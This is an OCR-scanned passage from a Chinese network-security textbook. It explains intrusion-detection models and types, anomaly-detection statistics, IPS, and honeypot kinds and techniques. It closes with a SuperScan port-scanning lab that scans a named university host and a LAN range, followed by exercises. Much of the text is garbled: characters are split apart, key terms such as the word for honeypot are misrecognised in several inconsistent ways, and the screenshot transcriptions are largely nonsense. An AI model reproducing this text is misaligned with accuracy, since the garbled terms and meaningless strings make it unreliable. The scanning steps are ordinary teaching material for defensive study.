型 由 主体 (Subjects)、 审 计 记 录 (Audit records) ,活动 简 档 (Activity Profile)、 异常 记录 
(Anomaly Record) ,规则 构成 ,其 中 审计 记录 由 六 元 组 构成 : — Subject, Action, Object, 
Exception-Condition, Resource-Usage, Time-Stamp 记 。 在 这 个 六 元 组 中 ,Action( 活 动 ) 
是 主体 对 目标 的 操作 ,包括 读 、 写 .登录 .退出 等 ;Exception-Condition (异常 条 件 ) 是 指 系 
统 对 主体 的 该 活动 的 异常 报告 ,如 违反 系统 读 写 权 限 等 ;Resource-Usage( 资 源 使 用 状况 ) 
是 系统 的 资源 消耗 情况 ,如 CPU、 内 存 使 用 率 等 ; Time-Stamp (时 间 截 ) 是 活动 发 生 
时 间 ) 。 


552 ”入侵 检测 系统 的 功能 及 分 类 


1. IDS 基本 结构 
IDS 主要 由 事件 产生 器 .事件 分 析 器 .事件 数据 库 、 响 应 单元 等 构成 ,如 图 5-6 所 示 。 
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5-5 Denning 入 侵 检 测 模型 


其 中 事件 产生 器 负责 原始 数据 采集 ,并 将 收集 到 的 原始 数据 转换 为 事件 ,向 系统 的 其 他 
部 分 提供 此 事件 。 收 集 的 信息 包括 系统 或 网 络 的 日 志文 件 、 网 络 流量 、 系 统 目 录 和 文件 
的 异常 变化 ,程序 执行 中 的 异常 行为 。 


事件 | 事件 | 事件 _| 事件 _| 响应 | 报告 
产生 器 分 析 器 数据 库 单元 
数据 采集 

5-6 IDS 模型 


入 侵 检测 很 大 程度 上 依赖 于 收集 信息 的 可 靠 性 和 正确 性 。 事 件数 据 库 存放 各 种 中 
间 和 最 终 数据 。 响 应 单元 根据 告警 信息 做 出 反应 (强烈 的 反应 是 切断 连接 改变 文件 属 
性 等 ;简单 的 是 报警 )。 事 件 分 析 器 接收 事件 信息 ,对 其 进行 分 析 , 判 断 是 否 为 入 侵 行 为 
或 异常 现象 ,最 后 将 判断 的 结果 转变 为 告警 信息 。 分 析 方法 主要 有 如 下 3 种 : 

(1) 模式 匹配 。 将 收集 到 的 信息 与 已 知 的 网 络 人 侵 和 系统 误 用 模式 数据 库 进 行 比 
较 , 从 而 发 现 违背 安全 策略 的 行为 。 

(2) 统计 分 析 。 首 先 给 系统 对 象 (如 用 户 .文件 .目录 和 设备 等 ) 创 建 一 个 统计 描述 ， 
统计 正常 使 用 时 的 一 些 测量 属性 (如 访问 次 数 、 操 作 失 败 次 数 和 延 时 等 ); 测 量 属性 的 平 
均值 和 偏差 将 被 用 来 与 网 络 、 系 统 的 行为 进行 比较 ,任何 观察 值 在 正常 值 范 围 之 外 时 ,就 
认为 有 入 侵 发 生 。 

(3) 完整 性 分 析 ( 往 往 用 于 事后 分 析 )。 主 要 关注 某 个 文件 或 对 象 是 否 被 更 改 。 


2. IDS 的 功能 


IDS 的 功能 如 下 : 

(1) 对 网 络 流量 的 跟踪 与 分 析 功 能 。 跟 踪 用 户 从 进入 网 络 到 退出 网 络 的 所 有 活动 ， 
实时 监测 并 分 析 用 户 在 系统 中 的 异常 活动 状态 。 

(2) 对 异常 行为 的 分 析 、 统 计 与 响应 功能 。 分 析 系 统 的 异常 行为 模式 ,统计 异常 行 
为 ,并 对 异常 行为 做 出 响应 。 

(3) 对 已 知 攻击 特征 的 识别 功能 。 识 别 特 类 攻击 ,向 控制 台 报警 ,为 防御 提供 依据 。 
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(4) 特征 库 的 在 线 升 级 功能 。 提 供 在 线 升级 并 实时 更 新 人 侵 特 征 库 , 不 断 提 高 IDS 
的 入 侵 监测 能 力 。 

(5) 数据 文件 的 完整 性 检验 功能 。 检 查 关键 数据 文件 的 完整 性 ,识别 并 报告 数据 文 
件 的 改动 情况 。 

(6) 自 定义 特征 的 响应 功能 。 定 制 实时 响应 策略 ;根据 用 户 定义 ,经 过 系统 过 滤 ,对 
警报 事件 及 时 响应 。 

(7) 系统 漏洞 的 预报 警 功 能 。 对 未 发 现 的 系统 漏洞 特征 进行 预报 警 。 


3. IDS 的 分 类 


人 侵 检测 系统 的 分 类 可 以 有 多 种 方法 。 按 照 体系 结构 可 分 为 集中 式 和 分 布 式 , 按 昭 
工作 方式 可 分 为 离线 检测 和 在 线 检测 ,按照 所 用 技术 分 为 特征 检测 和 异常 检测 ,按照 检 
测 对 象 (数据 来 源 ) 分 为 基于 主机 、 基 于 网 络 和 混合 型 。 


553 常用 的 入 侵 检 测 方法 


1. 特征 检测 


特征 检测 是 对 已 知 的 攻击 或 入 侵 的 方式 进行 确定 性 的 描述 ,形成 相应 的 事件 模式 。 
当 被 审计 的 事件 与 已 知 的 入侵 事件 模式 相 匹配 时 , 即 报警 。 检 测 方法 与 计算 机 病毒 的 检 
测 方式 类 似 。 目 前 基于 对 包 特 征 描述 的 模式 匹配 应 用 较为 广泛 ,该 方法 的 优点 是 误 报 
少 , 局 限 是 它 只 能 发 现 已 知 的 攻击 ,对 未 知 的 攻击 无 能 为 力 ,同时 由 于 新 的 攻击 方法 不 断 
产生 ,新 漏洞 不 断 发 现 , 攻 击 特征 库 如 果 不 能 及 时 更 新 也 将 造成 IDS 漏 报 。 


2. 异常 检测 


异常 检测 (anomaly detection) 是 对 网 络 异常 情况 的 检测 。 对 检测 主体 正常 活动 建立 
活动 简 档 ,将 当前 主体 的 活动 状况 与 活动 简 档 比较 , 当 违 反 其 统计 模型 时 ,认为 该 活动 可 
能 是 人 侵 行为 。 异 常 检测 的 难题 在 于 建立 更 新 活动 简 档 和 设计 统计 模型 ,从 而 不 把 正常 
的 操作 作为 人 侵 或 忽略 真正 的 入 侵 行为 。 常 用 的 人 侵 检测 5 种 统计 模型 为 操作 模型 . 方 
差 ,多 元 模型 .马尔 可 夫 过 程 模型 和 时 间 序 列 分 析 。 

(1) 操作 模型 。 假 设 异常 活动 可 通过 测量 结果 与 一 些 固定 指标 相 比 较 得 到 ,固定 指 
标 可 以 根据 经 验 值 或 一 段 时 间 内 的 统计 平均 得 到 。 例 如 ,在 短 时 间 内 多 次 失败 的 登录 很 
有 可 能 是 口令 尝试 攻击 。 

(2) 方差 。 计 算 参 数 的 方差 , 设 定 其 置信 区 间 , 当 测量 值 超过 置信 区 间 的 范围 时 , 表 
明 有 可 能 是 异常 。 

(3) 多 元 模型 。 操 作 模 型 的 扩展 ,通过 同时 分 析 多 个 参数 实现 检测 。 

(4) 马尔 可 夫 过 程 模型 。 将 每 种 类 型 的 事件 定义 为 系统 状态 ,用 状态 转移 矩阵 来 表 
示 状 态 的 变化 , 当 一 个 事件 发 生 时 ,如 果 状 态 矩 阵 转移 概率 较 小 , 则 可 能 是 异常 事件 。 

(5) 时 间 序 列 分 析 。 是 将 事件 计数 与 资源 耗 用 根据 时 间 排 序 , 如 果 一 个 新 事件 在 该 
时 间 发 生 的 概率 较 低 , 则 该 事件 可 能 是 人 侵 。 
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554 入 侵 检 测 及 防御 系统 


1. 入 侵 检 测 系 统 


1) 基于 主机 的 入 侵 检测 系统 

HIDS 是 以 系统 日 志 、 应 用 程序 日 志 等 作为 数据 源 ,也 可 以 通过 其 他 手段 (如 监督 系 
统 调用 ) 从 所 在 的 主机 收集 信息 进行 分 析 。HIDS 一 般 是 保护 所 在 的 系统 ,HIDS 经 常 运 
行 在 被 监测 的 系统 之 上 ,监测 系统 上 正在 运行 的 进程 是 否 合法 。 现 在 ,这 些 系统 已 经 可 
以 被 用 于 多 种 平台 。 

优点 : 对 分 析 * 可 能 的 攻击 行为 非常 有 用 ,有 时 除了 指出 入 侵 者 试图 执行 一 些 * 危 险 
的 命令 ?之 外 ,还 能 分 辨 出 入侵 者 干 了 什么 事 ,运行 了 什么 程序 ,打开 了 哪些 文件 ,执行 了 
哪些 系统 调用 。HIDS 与 NIDS 相 比 通常 能 够 提供 更 详尽 的 相关 信息 , 误 报 率 要 低 , 系 统 
的 复杂 性 也 低 得 多 。 

弱点 : HIDS 安装 在 需要 保护 的 设备 上 ,这 会 降低 应 用 系统 的 效率 ,也 会 带 来 一 些 额 
外 的 安全 问题 (安装 了 HIDS 后 ,将 本 不 允许 安全 管理 员 访问 的 服务 器 变 成 他 可 以 访问 
的 )。HIDS 的 男 一 个 问题 是 它 依赖 于 服务 器 固有 的 日 志 与 监视 能 力 ,如果 服 务 器 没有 配 
置 日 志 功 能 , 则 必须 重新 配置 ,这 将 会 给 运行 中 的 业务 系统 带 来 不 可 预见 的 性 能 影响 。 
全 面部 署 HIDS 代价 较 大 ,企业 中 很 难 将 所 有 主机 用 HIDS 保护 ,只 能 选择 部 分 主机 保 
护 。 那 些 未 安装 HIDS 的 主机 将 成 为 保护 的 盲点 ,入 侵 者 可 利用 这 些 主机 达到 攻击 目 
标 。 再 有 HIDS 除了 监测 自身 的 主机 以 外 ,根本 不 监测 网 络 上 的 情况 ,对 入 侵 行为 的 分 
析 工 作 量 将 随 着 主机 数目 增加 而 增加 。 

2) 基于 网 络 的 人 侵 检测 系统 

NIDS 又 称 嗅 探 器 ,通过 在 共享 网 段 上 对 通信 数据 的 侦 听 采集 数据 ,分 析 可 疑 现 象 
(将 NIDS 放置 在 较 重要 的 网 段 ,监视 各 种 数据 包 。NIDS 的 输入 数据 来 源 于 网 络 的 信息 
流 ) 。 该 类 系统 一 般 被 动 地 在 网 络 上 监听 整个 网 络 上 的 信息 流 , 通 过 捕获 网 络 数据 包 进 
行 分 析 ,检测 该 网 段 上 发 生 的 网 络 人 侵 , 如 图 5-7 所 示 。 


网 络 数据 | _ 网 络 数据 | _ f 网 络 数据 安全 
收集 器 过 并 器 分 析 器 
人 员 
计算 机 网 络 系统 


图 5-7 基于 网 络 的 入 侵 检测 过 程 


优点 : NIDS 能 够 检测 那些 来 自 网 络 的 攻击 , 它 能 够 检测 到 超过 授权 的 非法 访问 。 
不 需要 改变 服务 器 等 主机 的 配置 ,不 会 影响 这 些 机 器 的 CPU、1/O 与 磁盘 等 资源 的 使 用 ， 
不 会 影响 业务 系统 的 性 能 。NIDS 不 像 路 由 器 、 防 火 墙 等 关键 设备 那样 工作 ,不 会 成 为 系 
统 中 的 关键 路 径 。NIDS 发 生 故 障 不 会 影响 正常 业务 的 运行 ,因此 部 署 一 个 网 络 入 侵 检 
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测 系统 的 风险 比 主机 入 侵 检 测 系统 的 风险 少 得 多 。 安 装 NIDS 非常 方便 ,只 需 将 定制 的 
设备 接 上 电源 ,做 很 少 一 些 配 置 ,将 其 连 到 网 络 上 即 可 。 

弱点 : NIDS 只 检查 它 直 接连 接 网 段 的 通信 ,不 能 检测 在 不 同 网 段 的 网 络 包 。 在 以 
太 网 的 环境 中 会 出 现 检 测 范围 的 局 限 ,安装 多 台 NIDS 会 使 部 署 整个 系统 的 成 本 增 大 。 
NIDS 提高 性 能 通常 采用 特征 检测 的 方法 , 它 可 以 检测 出 一 些 普通 的 攻击 ,而 很 难 检测 复 
杂 的 需要 大 量 计算 与 分 析 时 间 的 攻击 。NIDS 可 将 大 量 的 数据 传 回 分 析 系 统 中 。NIDS 
中 的 传感器 协同 工作 能 力 较 弱 。 处 理 加 密 的 会 话 过 程 较 困难 。 

3) 分 布 式 入 侵 检测 系统 

DIDS 是 将 基于 主机 和 基于 网 络 的 检测 方法 集成 到 一 起 , 即 混合 型 人 侵 检 测 系 统 。 
系统 一 般 由 多 个 部 件 组 成 ,分 布 在 网 络 的 多 个 部 分 ,完成 相应 的 功能 ,分 别 进行 数据 采 
集 ,数据 分 析 等 。 通 过 中 心 的 控制 部 件 进行 数据 汇总 分析, 产生 入 侵 报警 等 。 在 这 种 结 
构 下 ,不 仅 可 以 检测 到 针对 单独 主机 的 入 侵 ,同时 也 可 以 检测 到 针对 主要 网 段 上 的 主机 
A Ë. 


2. 入 侵 防御 系统 


随 着 网 络 安全 问题 复杂 化 , 仅 限 于 入 侵 检 测 预报 思路 的 IDS 已 经 满足 不 了 安全 管理 
上 的 要 求 , 因 此 诞生 了 入 侵 防御 系统 (Intrusion Prevent System,IPS)。IPS 是 能 够 监视 
网 络 或 网 络 设备 的 网 络 数据 传输 行为 ,及 时 中 断 、. 调 整 或 隔离 一 些 不 正常 或 是 具有 危害 
性 的 网 络 资料 传输 行为 。IPS 也 像 IDS 一 样 ,专门 深入 网 络 数据 内 部 ,查找 它 所 认识 的 攻 
击 代 码 特 征 , 过 滤 有 害 数据 流 ,丢弃 有 害 数据 包 , 并 进行 记载 ,以 便 事后 分 析 。 更 重要 的 
是 ,大 多 数 IPS 结合 应 用 程序 或 网 络 传 输 中 的 异常 情况 ,辅助 识别 入 侵 和 攻击 。IPS 虽然 
也 考虑 已 知 病毒 特征 ,但 是 它 并 不 仅仅 依赖 于 已 知 病毒 特征 。IPS 一 般 作 为 防火 墙 和 防 
病毒 软件 的 补充 来 使 用 。 在 必要 时 , 它 还 可 以 为 追究 攻击 者 的 刑事 责任 而 提供 法 律 上 有 
效 的 证 据 (forensic)。 入 侵 防 御 系 统 按 其 用 途 可 以 进一步 划分 为 单机 入 侵 防 御 系 统 
(Hostbased Intrusion Prevension System, HIPS) 和 网 络 人 侵 防 御 系 统 (Network 
Intrusion Prevension System,NIPS) 两 种 类 型 。 异 常 检测 原理 是 : 第 一 ,入 侵 防 御 系 统 知 
道 正常 数据 以 及 数据 之 间 关 系 的 通常 的 模式 ,对照 识 别 异常 。 有 些 人 侵 防 御 系 统 结合 协 
议 异 常 , 传 输 异常 和 特征 检查 ,对 通过 网 关 或 防火 墙 进入 网 络 内 部 的 有 害 代 码 实 行 有 效 
阻止 。 第 二 ,在 遇 到 动态 代码 (ActiveX JavaApplet 各 种 脚本 语言 Script languages 等 ) 
时 , 先 把 它们 放 在 沙盘 内 ,观察 其 行为 动向 ,如 果 发 现 有 可 疑 情况 , 则 停止 传输 ,禁止 执 
行 。 第 三 ,核心 基础 上 的 防护 机 制 。 用 户 程序 通过 系统 指令 享用 资源 (如 存储 区 、 输 入 输 
出 设备 .中 央 处 理 器 等 )。 入 侵 防御 系统 可 以 截获 有 害 的 系统 请 求 。 第 四 ,对 Library. 
Registry、 重 要 文件 和 重要 的 文件 夹 进行 保护 。 


3. 入 侵 检 测 系 统 与 入 侵 防 御 系 统 的 区 别 


和 人 侵 检 测 系统 的 核心 价值 在 于 通过 对 全 网 段 信息 的 分 析 , 了 解 信息 系统 的 安全 状 
况 , 进 而 指导 信息 系统 安全 建设 目标 以 及 安全 策略 的 确立 和 调整 。 入 侵 防 御 系 统 的 核心 
价值 在 于 安全 策略 的 实施 ,阻击 黑客 行为 。 入 侵 检 测 系统 需要 部 署 在 网 络 内 部 ,监控 范 
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围 可 以 覆盖 整个 子 网 ,包括 来 自 外 部 的 数据 以 及 内 部 终端 之 间 传 输 的 数据 。 入 侵 防御 系 
统 则 必须 部 署 在 网 络 边界 ,抵御 来 自 外 部 的 入 侵 ,对 内 部 攻击 行为 无 能 为 力 。 


56 蜜 铅 技 术 概 述 


561 蜜 色 的 特点 及 主要 技术 


蜜 饶 (honeypot) 是 一 种 在 互联 网 上 运行 的 计算 机 系统 ,可 以 公开 被 访问 ,目的 是 吸 
引 攻 击 者 或 者 把 攻击 者 转移 。 它 是 专门 为 吸引 并 诱骗 那些 试图 非法 间 入 他 人 计算 机 系 
统 的 人 (如 黑客 ) 而 设计 的 , 蜜 缸 系统 是 一 个 包含 漏洞 的 诱骗 系统 , 它 通 过 模拟 一 个 或 多 
个 易 受 攻击 的 主机 ,给 攻击 者 提供 一 个 容易 攻击 的 目标 , 蜜 铅 就 是 诱捕 攻击 者 的 一 个 
陷阱 。 


1. 密 缸 的 特点 


蜜 钢 有 以 下 两 个 特点 : 

(1) 它 不 是 一 个 单一 的 系统 ,而 是 一 个 网 络 ,是 一 种 高 度 相 互 作用 的 蜜 饶 , 装 有 多 个 
系统 和 应 用 软件 。 

(2) 所 有 放置 在 蜜 镀 内 的 系统 都 是 标准 的 产品 系统 , 即 真 实 的 系统 和 应 用 软件 ,都 
不 是 模拟 的 。 


2. WEB) E E F A 


# WE BJ E 9: 1k À AI 828 IK N Wa LI s ZE [6] JR 9 Sr ja s hl 135 a 1 ak Së , 

1) 网 络 欺骗 技术 

为 了 使 蜜 镶 对 入 侵 者 更 有 吸引 力 ,就 要 采用 各 种 欺骗 手段 。 例 如 在 欺骗 主机 上 模拟 
一 些 操作 系统 一 些 网 络 攻击 者 经 常 探测 的 端口 和 各 种 有 入 侵 可 能 的 漏洞 。 

2) 端口 重 定向 技术 

端口 重 定 向 技术 可 以 在 工作 系统 中 模拟 一 个 非 工作 服务 。 例 如 正常 使 用 Web 服务 
(80) ,而 用 Telnet(23) 和 FTP(21) 重 定向 到 蜜 镀 系统 中 ,而 实际 上 这 两 个 服务 是 没有 开 
放 的 ,而 攻击 者 扫描 时 则 发 现 这 两 个 端口 是 开放 的 ,而 实际 上 这 两 个 端口 是 蜜 镶 虚 拟 出 
来 的 ,对 其 服务 器 不 产生 危害 性 。 

3) 攻击 (入 侵 ) 报 警 和 数据 控制 

蜜 负 系统 本 身 就 可 以 模拟 成 一 个 操作 系统 ,可 以 把 其 本 身 设 定 成 为 易 攻 破 的 一 台 主 
机 ,也 就 是 开放 一 些 端口 和 弱 口 令 之 类 的 ,并 设 定 相应 的 回应 程序 , 当 攻 击 者 侵入 后 就 相 
当 于 进入 一 个 设 定 的 “陷阱 ”, 攻 击 者 所 做 的 一 切 都 在 其 监视 之 中 。 还 可 以 给 入 侵 者 一 个 
网 络 连接 让 其 可 以 进行 网 络 传输 ,并 可 以 将 其 作为 跳板 。 

4) 数据 的 捕获 技术 

在 攻击 者 入 侵 的 同时 , 蜜 锥 系统 将 记录 攻击 者 输入 输出 的 信息 、 键 盘 记 录 信 息 、 屏 幕 
信息 以 及 攻击 者 曾 使 用 过 的 工具 ,并 分 析 攻 击 者 所 要 进行 的 下 一 步 。 捕 获 的 数据 不 能 放 
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在 加 有 蜜 镀 的 主机 上 ,因为 有 可 能 被 攻击 者 发 现 。 
562 ” 蜜 炙 技 术 的 种 类 


根据 设计 的 最 终 目 的 不 同 ,可 以 将 蜜 镀 分 为 产品 型 蜜 炙 和 研究 型 蜜 钠 两 类 。 

(1) 产品 型 蜜 炙 常 用 于 商业 机 构 网 络 。 目 的 是 减轻 受 保护 组 织 将 受到 的 攻击 的 威 
胁 , 蜜 缸 加 强 了 受 保护 组 织 的 安全 措施 。 它 所 做 的 工作 就 是 检测 并 且 对 付 恶 意 的 攻 
击 者 。 

(2) 研究 型 蜜 饶 是 以 研究 和 获取 攻击 信息 为 目的 而 设计 的 。 这 类 蜜 饶 并 没有 增强 特 
定 组 织 的 安全 性 ,恰恰 相反 , 蜜 钢 要 做 的 是 让 研究 组 织 面 对 各 类 网 络 威胁 ,并 寻找 能 够 对 
付 这 些 威胁 更 好 的 方式 ,它们 所 要 进行 的 工作 就 是 收集 恶意 攻击 者 的 信息 。 它 一 般 运 用 
于 军队 和 安全 研究 组 织 。 

根据 蜜 镀 与 攻击 者 之 间 进 行 的 交互 ,可 以 分 将 蜜 镀 为 3 类: 低 交互 蜜 镶 、 中 交互 蜜 饶 
和 高 交互 蜜 炙 , 同 时 这 也 体现 了 蜜 钠 发 展 的 3 个 过 程 。 

(1) 低 交 互 蜜 缸 最 大 的 特点 是 模拟 。 蜜 龟 为 攻击 者 展示 的 所 有 弱点 和 攻击 对 象 并 非 
来 自 真正 产品 系统 ,而 是 对 各 种 系统 及 其 服务 的 模拟 。 由 于 服务 都 是 模拟 行为 ,所 以 蜜 
饶 可 获取 的 信息 非常 有 限 ,只 能 对 攻击 者 简单 应 答 .是 最 安全 的 蜜 饶 类 型 。 

(2) 中 交互 是 对 真正 的 操作 系统 的 各 种 行为 的 模拟 , 它 提供 了 更 多 的 交互 信息 ,同时 
也 可 以 从 攻击 者 的 行为 中 获取 更 多 的 信息 。 在 这 个 模拟 行为 的 系统 中 , 蜜 饶 可 以 看 起 来 
和 一 个 真正 的 操作 系统 没有 区 别 。 它 们 是 比 真正 系统 还 要 诱 人 的 攻击 目标 。 

(3) 高 交互 蜜 缸 具有 一 个 真实 的 操作 系统 , 它 的 优点 体现 在 对 攻击 者 提供 真实 的 系 
统 , 当 攻击 者 获取 root 权限 后 , 受 系统 和 数据 真实 性 的 迷惑 ,他 的 更 多 活动 和 行为 将 被 记 
录 下 来 。 这 种 蜜 负 的 缺点 是 被 入侵 的 可 能 性 很 高 .如果 整 个 蜜 镀 被 入 侵 , 那 么 它 就 会 成 
为 攻击 者 下 一 步 攻击 的 跳板 。 

讨论 思考 

(1) 入 侵 检 测 系统 的 功能 是 什么 ? 

(2) 计算 机 网 络 安全 面临 的 主要 威胁 类 型 有 哪些 ? 

(3) 简 述 入 侵 检测 技术 发 展 的 趋势 。 


57 实验 五 : SuperScan 检测 方法 
SuperScan 软件 是 一 款 功 能 强大 的 端口 扫描 工具 ,可 以 检测 到 目标 计算 机 的 所 有 端 
口 ,也 包括 特定 端口 ,甚至 可 以 检测 到 目标 主机 是 否 被 种 植木 马 等 。 
571 实验 目的 


学 习 和 掌握 SuperScan 网 络 端 口 扫描 的 基本 原理 ;掌握 和 使 用 SuperScan 扫描 工具 
对 计算 机 进行 端口 扫描 的 办 法 ,获取 网 络 中 各 台 计 算 机 的 端口 开放 情况 ,由 此 来 判断 网 
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络 中 计算 机 的 基本 安全 情况 操作 及 其 运用 ;学 习 和 掌握 如 何 利 用 SuperScan 进行 网 络 安 
全 扫描 与 分 析 。 


572 实验 要 求 及 方法 
1. 实验 环境 
局 域 网 ;系统 安装 SuperScan. exe Version 5.0, 
2. 实验 方法 


首先 对 本 地 主机 进行 端口 扫描 ,之 后 对 局 域 网 和 远程 主机 进行 端口 扫描 。 
实验 用 时 : 2 学 时 (90 一 120 分 钟 ) 。 


573 实验 内 容 及 步骤 
1. 实验 内 容 


通过 本 地 和 远程 主机 的 IP 地 址 扫描 该 主机 相关 的 软件 .端口 和 服务 等 的 安全 状况 ， 
并 能 生成 详细 的 扫描 报告 提供 给 用 户 。 


2. 实验 步骤 


1) 安装 SuperScan 扫描 器 

将 安装 包 解压 ,打开 即 可 使 用 。 

2) 使 用 SuperScan 对 目标 主机 进行 端口 /网 络 服务 扫描 

具体 步骤 如 下 : 

(1) 对 本 地 主机 进行 端口 扫描 。 

在 程序 “扫描 ”选项 卡 中 “IP 地 址 ” 栏 中 输入 本 地 主机 的 主机 名 /IP 地 址 ,如 127. 0. 0. 
1, 然 后 单 击 开始 按钮 ,程序 在 默认 设置 下 开始 对 本 地 主机 进行 扫描 。 扫 描 结 束 后 ,出 现 
如 图 5-8 所 示 的 扫描 结果 。 

单 击 “ 查 看 HTML 结果 ”按钮 ,可 以 在 浏览 器 中 看 到 本 次 扫描 的 结果 报告 。 

(2) 对 远程 主机 进行 端口 扫描 。 

在 程序 “扫描 ”选项 卡 中 的 “IP 地 址 ” 栏 中 输入 目标 主机 的 主机 名 /IP 地 址 ,如 
127.0.0.1。 然 后 单 击 开始 按钮 ,程序 在 默认 设置 下 开始 对 目标 主机 进行 扫描 。 扫 
描 结 束 后 ,出现 如 图 5-9 所 示 的 扫描 结果 。 从 图 中 可 以 看 出 ,对 TCP 端口 扫描 的 结 
果 为 0, 这 是 由 于 主机 禁止 了 扫描 器 的 ICMP 扫描 响应 ,因此 需要 修改 对 主机 的 扫描 
考 武 。 

单 击 “主机 和 服务 扫描 设置 ”选项 卡 ,取消 “查找 主机 ” 复 选 框 。 选 中 “UDP 端口 扫描 ” 
复 选 框 ,并 将 UDP 扫描 类 型 设置 为 Data。 选 中 “TCP 端口 扫描 ” 复 选 框 ,并 将 TCP 扫描 
类 型 设置 为 ^ 直 接连 接 ”, 如 图 5-10 所 示 。 
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“= SuperScan 4.0 


8 | 主机 和 服务 扫描 设置 | 扫描 法 项 | 工具 | indows 术 举 | 关于 | 
IP 地 址 -一 
主机 名 /TP [127.0.0.1 >J EE 结束 了 清除 所 选 
s jj MT.0.0.1 — 
结束 下 x[|[im_ o .0 

从 文件 渎职 ?地址 > | 


Live hosts this batch: 1 


Total live hosts discovered 1 
Total open TCP ports °. 
Total open UDP ports °. 
The IP list contains 1 entries A 


Service TCP ports: 179 
Service UDP ports: 88 = 
packet delay: 10 

Discovery passes: 1 

ICMP pinging for host discovery: Yes 
Host discovery ICMP timeout: 2000 
TCP banner grabbing timeout: 8000 
UDP banner qrabbinq timeout: 8000 


[DI 查看 TW 结果 久 ) 


bo:10 [Saved log file Live: 1 [TCP open: 0 UDP open: 0 [1/1 done 4 


5-8 本 地 主机 扫描 结果 


*š SuperScan 4.0 


扫描 | 主机 和 服务 扫描 设置 | 扫描 选项 | 工具 | Windows 枚 举 | 关 于 | 
IP 地 址 
主机 名 /TF [rw hbu edu en | [wm m 


Live hosts chis batch: 2 四 


202.206.1.15 
sua. hbu. cn 


(2) 137,161 

Total live hosts discovered 2 

Total open TCP ports °. = 

Total open UDP ports 2 图 
TCP banner grabbing (0 ports) 加 
UDP banner grabbing (2 ports) 

Reporting scan results. 

-------- Scan done ~ 4 

Discovery scan finished: 10/08/11 15:24:14 sa 

` 


LU 


00.14 [Saved log file Live: 2 TCP open: 0 UDP open: 2 — [2/2 done 


图 5-9 远程 主机 扫描 结果 
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扫描 TqgUQESTHSSE |+ag0sm | TB. | Wiaaovs t| Z | 


E 回 显 请 示 E 
万 查找 主机 F u. 超时 设置 ms) ooo 
厂 *ttiessise 
r 信息 庄 求 
F UDP iH 超时 设置 m=) ooo 
3rtusmm [ Yg HER G pas C Data + INP 
ama | — 
Aokenigipas =JË -en J 
— ss | imenu | 
F rep 8 超时 设 二 ms) 000 
了 交口 扫兴 类型 Ç 
ee r eməsmn 站 


Moriripipas Ë tl 


:18 |Saved lec file [Live 1 TCP open: 0 DP open: 0 U/l done 


图 5-10 ”修改 设置 


单 击 “ 扫 描 ” 选 项 卡 , 然 后 单 击 开 始 按 钮 开始 扫描 远程 主机 www. hbu. edu. cn。 扫 描 
结果 如 图 5-11 所 示 。 查 看 HTML 结果 ,如 图 5-12 所 示 。 从 报告 中 可 以 看 出 ,远程 主机 
www. hbu. edu. cn 当前 处 于 活动 状态 ,而 且 还 开放 了 6 个 TCP 端口 (80、135、139、1025、 
1026 .8080) 和 两 个 UDP 端口 (137、161) 。 


:5 SuperScan 4.0 


扫描 “| 主机 和 服务 扫描 设置 | 扫描 选项 | 工具 ”| Windows t| | 


IP 地 址 

主机 各 /TF [rww. hbu edu en ->| [3E08 IP Er s: T 清除 所 选 | 

te 127.0.0.1 

Hi Kan 206 1 15 | |20220811s 清除 所 有 

s r ||202 .206 .1 .15 

从 文件 读 取 IF 地 址 > | 
wu hbu. en a 
5) 80,135,139,1025,1026,8080 

137,161 

Total live hosts discovered 2 

Total open TCP ports 11 

Total open UDP ports 2 了 

回 
画 

w Scan of z hosts started -------- l 

Scanning 2 machines with 2 remaining. 

TCP service scan (full-connect) pass 1 of 1 (2 hosts x 179 ports)... 

UDp service scan pass 1 of 1 (2 hosts x 88 ports)... 

Performing hostnane resolution... 

Performing banner grabs... 3 
TCP banner grabbing (11 ports) a 
UDP banner grabbing (2 ports) m 

D] s| u| mn | 


:22 Saved log file Liye: 2 TCP open: 11 UDP open: 2 2/2 done 


图 5-11 修改 设置 后 远程 主机 扫描 结果 
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5-12 远程 主机 扫描 报告 


(3) 对 局 域 网 中 的 主机 进行 扫描 。 
在 “IP 地 址 ” 栏 中 输入 目标 网 络 的 开始 IP 地 址 和 结束 IP 地 址 , 单 击 箭头 按钮 将 目标 


IP 地 址 范围 添加 到 扫描 地 址 池 中 ,运行 端口 扫描 ,结果 如 图 5-13 所 示 。 
回忆 


B “| 主机 和 服务 扫描 设置 | 扫描 这 项 | 工具 ”| Winaovs 枚 举 | 关于 | 
六 中 地 址 
主机 名 /TP mw bu. edn en ->| [开始 IF | # 
| 10.166. 137. 13 rw | 
结束 下 >|[ n .185 .137 10 

Axetitmiatt > | 


Live hosts this batch: 128 


Total live hosts discovered 
Total open TCP ports 
Total open UDP ports 


The Ip list contains 128 entries 
Gorotee Te? poros: 179 

Service 

packet 

biscove 

am Pinging tor wat discovery: No 
| 
TCP banner grabbing t. : 8000 
UDP banner grabbing t ou; 8000 
Service scan passes: 1 

Hostnane resolving passes: 1 


D [8] u | _awesano | 


图 5-13 局 域 网 中 主机 扫描 结果 


查看 HTML 结果 ,可 以 看 出 该 网 络 中 共有 128 台 活 动 主机 。 其 中 主机 10. 186. 137. 
22 开放 了 3 个 TCP 端口 : 8888、139、445, 主 机 10. 186. 137. 113 开放 了 4 个 TCP 端口 : 
8888.139.445.113, 


58 本 章 小 结 


本 章 概 述 了 黑客 的 概念 、 形 成 与 发 展 ,简单 介绍 了 黑客 产生 的 原因 、 攻 击 的 方法 、 攻 
击 的 步骤 ;重点 介绍 了 常见 的 黑客 攻防 技术 ,包括 网 络 端口 扫描 攻防 、 网 络 监听 攻防 、 密 
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码 破 解 攻防 ,特洛伊 木马 攻防 、 缓 冲 区 溢出 攻防 、 拒 绝 服务 攻击 和 其 他 攻防 技术 ;同时 讨 
论 了 防范 攻击 的 具体 措施 和 步骤 ;最 后 ,概述 了 入 侵 检测 系统 的 概念 、 功 能 、 特 点 、 分 类 、 
检测 过 程 、 常 用 检测 技术 和 方法 、 实 用 入 侵 检测 系统 、 统 一 威胁 管理 和 入 侵 检 测 技术 发 展 


59 练习 与 实践 五 


1. 选择 题 
(1) 在 黑客 攻击 技术 中 ,( ) 是 黑客 发 现 和 获取 主机 信息 的 一 种 最 佳 途径 。 

A. 端口 扫描 B. 缓冲 区 溢出 C. 网 络 监听 D. 口令 破解 
(2) 一 般 情况 下 ,大 多 数 监听 工具 不 能 够 分 析 的 协议 是 ( Ws 

A. 标准 以 太 网 B. TCP/IP 

C. SNMP 和 CMIS D. IPX 和 DECNet 


